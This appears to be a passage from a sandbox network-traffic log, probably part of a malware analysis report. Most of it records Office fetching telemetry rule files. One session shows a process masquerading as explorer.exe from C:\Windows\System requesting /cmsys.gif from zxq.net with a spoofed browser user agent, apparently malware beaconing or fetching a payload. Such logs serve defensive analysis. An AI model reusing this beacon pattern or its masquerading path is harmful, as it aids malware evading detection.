2024-10-29 12:08:26 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:26 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120826Z-r197bdfb6b4zd9tpkpdngrtchw00000005q000000000a3xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:26 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49773	51.81.194.202	443	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:26 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-29 12:08:26 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Tue, 29 Oct 2024 12:08:26 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-15b8d89586f6nn8zqg1h5suba800000001tg000000004328 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:27 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-r197bdfb6b4wmcgqdschtyp7yg00000006hg000000000ehm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-r197bdfb6b4skzzvqpzzd3xetg00000005y0000000003crz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 16672fc1-b01e-0001-32e8-2846e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-r197bdfb6b4c8q4qvwwy2byzsw00000006u0000000004ahn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:27 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-16849878b78q9m8bqvwuva4svc000000050g000000009tp8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-16849878b78p49s6zkwt11bbkn0000000670000000004fzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120827Z-17c5cb586f66g7mvgrudxte95400000001kg000000001pvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:27 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-16849878b78j7llf5vkyvvcehs00000007mg000000006x5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-16849878b78wc6ln1zsrz6q9w8000000064g00000000bcmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-16849878b785dznd7xpawq9gcn00000007y0000000005bbd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-15b8d89586f4zwgbgswvrvz4vs00000007vg0000000021wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
